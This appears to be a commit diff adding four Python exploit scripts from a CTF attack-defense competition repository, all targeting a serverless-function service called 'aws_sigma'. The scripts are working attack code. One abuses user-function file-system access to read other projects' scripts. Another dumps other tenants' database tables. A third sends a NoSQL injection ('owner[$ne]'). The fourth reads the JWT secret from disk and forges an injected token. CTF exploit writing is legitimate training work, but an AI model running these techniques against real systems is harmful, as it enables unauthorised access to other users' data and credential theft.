adding validated services? patching forcad_local.py
This commit is contained in:
122
ctfcup2025-school-final/sploits/aws_sigma/01_func_read_fs.py
Normal file
122
ctfcup2025-school-final/sploits/aws_sigma/01_func_read_fs.py
Normal file
@@ -0,0 +1,122 @@
|
||||
# Эксплойт основан на возможности чтения произвольных файлов
|
||||
# через API файловой системы, предоставляемый для пользовательских функций.
|
||||
#
|
||||
# Он позволяет прочитать содержимое вполненных скриптов из других проектов,
|
||||
# включая созданные чекером (и содержащие флаги).
|
||||
|
||||
import sys
|
||||
import uuid
|
||||
|
||||
import requests
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 3000
|
||||
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
|
||||
|
||||
FUNCTION_CODE = """
|
||||
// SPLOIT
|
||||
|
||||
const projects = fs.readdirSync("/tmp/sigma");
|
||||
const functions = projects.flatMap((project) => {
|
||||
return fs.readdirSync(`/tmp/sigma/${project}`).map((entry) => {
|
||||
return `/tmp/sigma/${project}/${entry}`;
|
||||
});
|
||||
});
|
||||
|
||||
const flags = functions.flatMap((func) => {
|
||||
const text = fs.readFileSync(`${func}/function.js`, "utf-8");
|
||||
|
||||
if(text.includes("SPLOIT")) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return text.split("\\n").filter((line) => line.includes("FLAG_VALUE ="));
|
||||
});
|
||||
|
||||
res
|
||||
.json({
|
||||
flags,
|
||||
});
|
||||
"""
|
||||
|
||||
|
||||
def make_id(prefix):
|
||||
return f"{prefix}-{uuid.uuid4().hex[:8]}"
|
||||
|
||||
|
||||
def main():
|
||||
session = requests.Session()
|
||||
|
||||
username = make_id("user")
|
||||
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
|
||||
|
||||
print(f"[*] Registering user {username}")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/users",
|
||||
json={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
print("[*] Logging in")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/auth/login",
|
||||
data={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
login_response = response.json()
|
||||
token = login_response.get("auth_token")
|
||||
if not token:
|
||||
raise RuntimeError("Login response missing auth_token field")
|
||||
headers = {"Authorization": f"Bearer {token}"}
|
||||
|
||||
slug = make_id("proj")
|
||||
project_name = f"Project {slug}"
|
||||
description = "Kekpek"
|
||||
|
||||
print(f"[*] Creating project {project_name} ({slug})")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/projects",
|
||||
headers=headers,
|
||||
json={"name": project_name, "slug": slug, "description": description},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
project_response = response.json()
|
||||
project_id = project_response.get("_id") or project_response.get("id")
|
||||
project_slug = project_response.get("slug") or slug
|
||||
|
||||
print("[*] Creating function /sploit")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/projects/{project_id}/functions",
|
||||
headers=headers,
|
||||
json={"name": "Sploit", "path": "/sploit"},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
function_response = response.json()
|
||||
function_id = function_response.get("_id") or function_response.get("id")
|
||||
|
||||
print("[*] Uploading custom code")
|
||||
response = session.put(
|
||||
f"{BASE_URL}/projects/{project_id}/functions/{function_id}",
|
||||
headers=headers,
|
||||
json={"code": FUNCTION_CODE, "methods": ["GET"]},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
response = requests.get(
|
||||
f"{BASE_URL}/exec/{project_slug}/sploit",
|
||||
)
|
||||
print(f"[+] Execution HTTP {response.status_code}")
|
||||
|
||||
body = response.text.strip()
|
||||
if not body:
|
||||
print("[!] Empty body received")
|
||||
return
|
||||
|
||||
print(body)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
141
ctfcup2025-school-final/sploits/aws_sigma/02_func_access_db.py
Normal file
141
ctfcup2025-school-final/sploits/aws_sigma/02_func_access_db.py
Normal file
@@ -0,0 +1,141 @@
|
||||
# Эксплойт основан на возможности обращения к базе данных из
|
||||
# кода пользовательской функции (и недостаточной проверки запроса).
|
||||
#
|
||||
# Он позволяет прочитать записи в базе, созданные функциями других
|
||||
# проектов, включая созданные чекером (и содержащие флаги).
|
||||
|
||||
import sys
|
||||
import uuid
|
||||
|
||||
import requests
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 3000
|
||||
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
|
||||
|
||||
FUNCTION_CODE = r"""
|
||||
(async () => {
|
||||
const match = req.path.match(/\/exec\/([^/]+)/i);
|
||||
if (!match) {
|
||||
res.setStatus(500).send("Unable to detect project slug");
|
||||
return;
|
||||
}
|
||||
|
||||
const currentScope = `scope_${match[1]}`;
|
||||
const scopeHint = `/* ${currentScope} */`;
|
||||
|
||||
const tables = await sql.query(`
|
||||
SELECT
|
||||
t.table_name
|
||||
FROM information_schema.tables AS t
|
||||
JOIN pg_catalog.pg_class AS cls
|
||||
ON cls.relname = t.table_name
|
||||
WHERE t.table_schema = 'public'
|
||||
AND t.table_name LIKE 'scope_%'
|
||||
ORDER BY cls.oid DESC
|
||||
LIMIT 500
|
||||
${scopeHint}
|
||||
`);
|
||||
|
||||
const dump = [];
|
||||
for (const row of tables || []) {
|
||||
const table = row.table_name;
|
||||
const creationOrder = row.creation_oid;
|
||||
if (!table) continue;
|
||||
|
||||
try {
|
||||
const rows = await sql.query(
|
||||
`SELECT * FROM "${table}" ORDER BY id DESC ${scopeHint}`
|
||||
);
|
||||
|
||||
dump.push({ table, creationOrder, rows });
|
||||
} catch (error) {
|
||||
dump.push({ table, creationOrder, error: String(error) });
|
||||
}
|
||||
}
|
||||
|
||||
res.json(dump);
|
||||
})();
|
||||
"""
|
||||
|
||||
|
||||
def make_id(prefix):
|
||||
return f"{prefix}-{uuid.uuid4().hex[:8]}"
|
||||
|
||||
|
||||
def main():
|
||||
session = requests.Session()
|
||||
|
||||
username = make_id("user")
|
||||
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
|
||||
|
||||
print(f"[*] Registering user {username}")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/users",
|
||||
json={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
print("[*] Logging in")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/auth/login",
|
||||
data={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
login_response = response.json()
|
||||
token = login_response.get("auth_token")
|
||||
if not token:
|
||||
raise RuntimeError("Login response missing auth_token field")
|
||||
headers = {"Authorization": f"Bearer {token}"}
|
||||
|
||||
slug = make_id("proj")
|
||||
project_name = f"Project {slug}"
|
||||
description = "Kekpek"
|
||||
|
||||
print(f"[*] Creating project {project_name} ({slug})")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/projects",
|
||||
headers=headers,
|
||||
json={"name": project_name, "slug": slug, "description": description},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
project_response = response.json()
|
||||
project_id = project_response.get("_id") or project_response.get("id")
|
||||
project_slug = project_response.get("slug") or slug
|
||||
|
||||
print("[*] Creating function /sploit")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/projects/{project_id}/functions",
|
||||
headers=headers,
|
||||
json={"name": "Sploit", "path": "/sploit"},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
function_response = response.json()
|
||||
function_id = function_response.get("_id") or function_response.get("id")
|
||||
|
||||
print("[*] Uploading custom code")
|
||||
response = session.put(
|
||||
f"{BASE_URL}/projects/{project_id}/functions/{function_id}",
|
||||
headers=headers,
|
||||
json={"code": FUNCTION_CODE, "methods": ["GET"]},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
response = requests.get(
|
||||
f"{BASE_URL}/exec/{project_slug}/sploit",
|
||||
)
|
||||
print(f"[+] Execution HTTP {response.status_code}")
|
||||
|
||||
body = response.text.strip()
|
||||
if not body:
|
||||
print("[!] Empty body received")
|
||||
return
|
||||
|
||||
print(body)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
54
ctfcup2025-school-final/sploits/aws_sigma/03_api_nosql.py
Normal file
54
ctfcup2025-school-final/sploits/aws_sigma/03_api_nosql.py
Normal file
@@ -0,0 +1,54 @@
|
||||
# Эксплойт основан на NoSQL инъекции в эндпоинте /api/v1/projects,
|
||||
#
|
||||
# Он позволяет получить данные о чужих проектах, включая описание,
|
||||
# которое содержит флаги.
|
||||
|
||||
import sys
|
||||
import uuid
|
||||
|
||||
import requests
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 3000
|
||||
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
|
||||
|
||||
|
||||
def make_id(prefix):
|
||||
return f"{prefix}-{uuid.uuid4().hex[:8]}"
|
||||
|
||||
|
||||
def main():
|
||||
session = requests.Session()
|
||||
|
||||
username = make_id("user")
|
||||
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
|
||||
|
||||
print(f"[*] Registering user {username}")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/users",
|
||||
json={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
print("[*] Logging in")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/auth/login",
|
||||
data={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
login_response = response.json()
|
||||
token = login_response.get("auth_token")
|
||||
if not token:
|
||||
raise RuntimeError("Login response missing auth_token field")
|
||||
headers = {"Authorization": f"Bearer {token}"}
|
||||
|
||||
projects_response = session.get(
|
||||
f"{BASE_URL}/projects?owner[$ne]={'a' * 24}",
|
||||
headers=headers,
|
||||
)
|
||||
print(projects_response.text)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
131
ctfcup2025-school-final/sploits/aws_sigma/04_api_jwt_nosql.py
Normal file
131
ctfcup2025-school-final/sploits/aws_sigma/04_api_jwt_nosql.py
Normal file
@@ -0,0 +1,131 @@
|
||||
# Эксплойт основан на доступном в файловой системе JWT секрете,
|
||||
# который можно прочитать при помощи пользователской функции.
|
||||
# Этим секретом подписывается токен, содержащий NoSQL инъекцию
|
||||
#
|
||||
# Он позволяет получить данные о чужих проектах, включая описание,
|
||||
# которое содержит флаги.
|
||||
|
||||
import sys
|
||||
import uuid
|
||||
from datetime import datetime, timedelta, UTC
|
||||
|
||||
import jwt
|
||||
import requests
|
||||
|
||||
HOST = sys.argv[1]
|
||||
PORT = 3000
|
||||
BASE_URL = f"http://{HOST}:{PORT}/api/v1"
|
||||
|
||||
FUNCTION_CODE = """
|
||||
res.json(fs.readFileSync("/etc/sigma/jwt.secret", "utf-8"));
|
||||
"""
|
||||
|
||||
|
||||
def make_id(prefix):
|
||||
return f"{prefix}-{uuid.uuid4().hex[:8]}"
|
||||
|
||||
|
||||
def read_secret(
|
||||
session: requests.Session,
|
||||
headers: dict,
|
||||
) -> dict:
|
||||
slug = make_id("proj")
|
||||
project_name = f"Project {slug}"
|
||||
|
||||
print(f"[*] Creating project {project_name} ({slug}) for FS read")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/projects",
|
||||
headers=headers,
|
||||
json={"name": project_name, "slug": slug, "description": "FS reader"},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
project_response = response.json()
|
||||
project_id = project_response.get("_id") or project_response.get("id")
|
||||
project_slug = project_response.get("slug") or slug
|
||||
|
||||
print("[*] Creating helper function /sploit")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/projects/{project_id}/functions",
|
||||
headers=headers,
|
||||
json={"name": "Sploit", "path": "/sploit"},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
function_response = response.json()
|
||||
function_id = function_response.get("_id") or function_response.get("id")
|
||||
|
||||
print("[*] Uploading sploit code")
|
||||
response = session.put(
|
||||
f"{BASE_URL}/projects/{project_id}/functions/{function_id}",
|
||||
headers=headers,
|
||||
json={"code": FUNCTION_CODE, "methods": ["GET"]},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
exec_url = f"{BASE_URL}/exec/{project_slug}/sploit"
|
||||
print(f"[*] Executing sploit function at {exec_url}")
|
||||
response = session.get(exec_url)
|
||||
response.raise_for_status()
|
||||
|
||||
return response.json().strip()
|
||||
|
||||
|
||||
def forge_jwt(secret):
|
||||
payload = {
|
||||
"sub": {
|
||||
"$ne": None,
|
||||
},
|
||||
"username": {
|
||||
"$ne": None,
|
||||
},
|
||||
"iat": datetime.now(UTC),
|
||||
"exp": datetime.now(UTC) + timedelta(days=1),
|
||||
}
|
||||
|
||||
return jwt.encode(payload, secret, algorithm="HS256")
|
||||
|
||||
|
||||
def main():
|
||||
session = requests.Session()
|
||||
|
||||
username = make_id("user")
|
||||
password = f"Passw0rd!{uuid.uuid4().hex[:6]}"
|
||||
|
||||
print(f"[*] Registering user {username}")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/users",
|
||||
json={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
print("[*] Logging in")
|
||||
response = session.post(
|
||||
f"{BASE_URL}/auth/login",
|
||||
data={"username": username, "password": password},
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
login_response = response.json()
|
||||
token = login_response.get("auth_token")
|
||||
if not token:
|
||||
raise RuntimeError("Login response missing auth_token field")
|
||||
headers = {"Authorization": f"Bearer {token}"}
|
||||
|
||||
secret = read_secret(session, headers)
|
||||
print(f"[+] Retrieved JWT secret: {secret}")
|
||||
|
||||
forged_token = forge_jwt(secret)
|
||||
forged_headers = {"Authorization": f"Bearer {forged_token}"}
|
||||
print(forged_headers)
|
||||
|
||||
print("[*] Fetching projects with forged token")
|
||||
projects_response = session.get(
|
||||
f"{BASE_URL}/projects",
|
||||
headers=forged_headers,
|
||||
)
|
||||
print(projects_response.text)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,6 @@
|
||||
certifi==2025.11.12
|
||||
charset-normalizer==3.4.4
|
||||
idna==3.11
|
||||
PyJWT==2.10.1
|
||||
requests==2.32.5
|
||||
urllib3==2.6.0
|
||||
Reference in New Issue
Block a user